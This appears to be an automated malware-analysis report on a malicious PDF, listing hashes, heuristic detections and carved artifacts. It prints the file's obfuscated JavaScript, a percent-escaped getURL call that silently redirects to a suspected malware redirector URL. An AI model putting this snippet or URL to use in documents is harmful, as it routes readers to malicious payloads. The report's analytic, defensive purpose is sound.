PDF malware analysis — malicious · 88f3e5a54c7fc237

MALICIOUS

PDF

39.6 KB Created: 2011-11-21 10:01:55 +02:00 Authoring application: Hawaii.edu Pharmacy (via mPDF 5.0) First seen: 2012-10-10

MD5: 92b223d662947c75b0ec37d1306d0617 SHA-1: 8a099885407f50e53395bbf0248602bac43e59ea SHA-256: 88f3e5a54c7fc2373457f26fc5da18c0e470bc904ddcd7a1a67baae2ed839b68

168 Risk Score

Malware Insights

MITRE ATT&CK

T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF contains obfuscated JavaScript that attempts to redirect the user to 'http://searchglobalsite.com/in.cgi?24'. This URL is flagged as suspicious and is likely part of a download or redirection chain for malicious content. The presence of JavaScript and the suspicious URL strongly indicate a malicious intent, likely to deliver a further stage of malware.

Machine Learning

Nyx PDF Classifier malicious score 0.9982

Heuristics 6

JavaScript action low 3 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Search-themed obfuscated getURL redirector campaign critical PDF_JS_SEARCH_REDIRECTOR_GETURL_CAMPAIGN

PDF document-level JavaScript automatically opens a known search-themed redirector campaign URL from a percent-escaped getURL() target. This is malicious redirect-carrier behavior, not evidence of a PDF parser CVE.
Obfuscated document JavaScript getURL redirector high PDF_JS_OBFUSCATED_GETURL_REDIRECTOR

PDF document-level JavaScript automatically calls getURL() on an HTTP(S) destination hidden behind percent escapes. The decoded path is a redirector-style endpoint such as /in.cgi or /go.php. This is malicious routing behavior rather than a PDF parser CVE.
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://searchglobalsite.com/in.cgi?24 Referenced by PDF JavaScript
- http://dejavu.sourceforge.netIn PDF document text
- http://dejavu.sourceforge.net/wiki/index.php/LicenseIn PDF document text

Extracted artifacts 4

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0027_000.js`	pdf-javascript-stream	PDF /JS object 27 at offset 0x9610	136 bytes
SHA-256: `52fda692b07c9aa4efbf58a71a700ecc18f276e70eb54dbe1306b0814a6b382b`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 1 long hex-escaped blob(s).
Preview script First 1,000 lines of the extracted script this.getURL(unescape('%68%74%74%70%3a%2f%2f%73%65%61%72%63%68%67%6c%6f%62%61%6c%73%69%74%65%2e%63%6f%6d%2f%69%6e%2e%63%67%69%3f%32%34'))
`stream_002_off00000e15.bin`	decompressed-pdf-stream	PDF FlateDecoded stream at offset 0xE15	17756 bytes
SHA-256: `ded1520fd68b91798ef4502ba393be29e6762be445da6319489229b957e57958`
`font_01_sfnt_off00003c27.bin`	pdf-font-stream	PDF embedded font (sfnt) at offset 0x3C27	17892 bytes
SHA-256: `a8ed3909966b10c026f46212f55dce68c94667ce1ac039797d3ebfa1d644dacf`
`font_02_sfnt_off00006a67.bin`	pdf-font-stream	PDF embedded font (sfnt) at offset 0x6A67	18720 bytes
SHA-256: `4ee4e439b16220e78b319060a3d86ba95cd4b8614522dd4fa1d4df274793c516`

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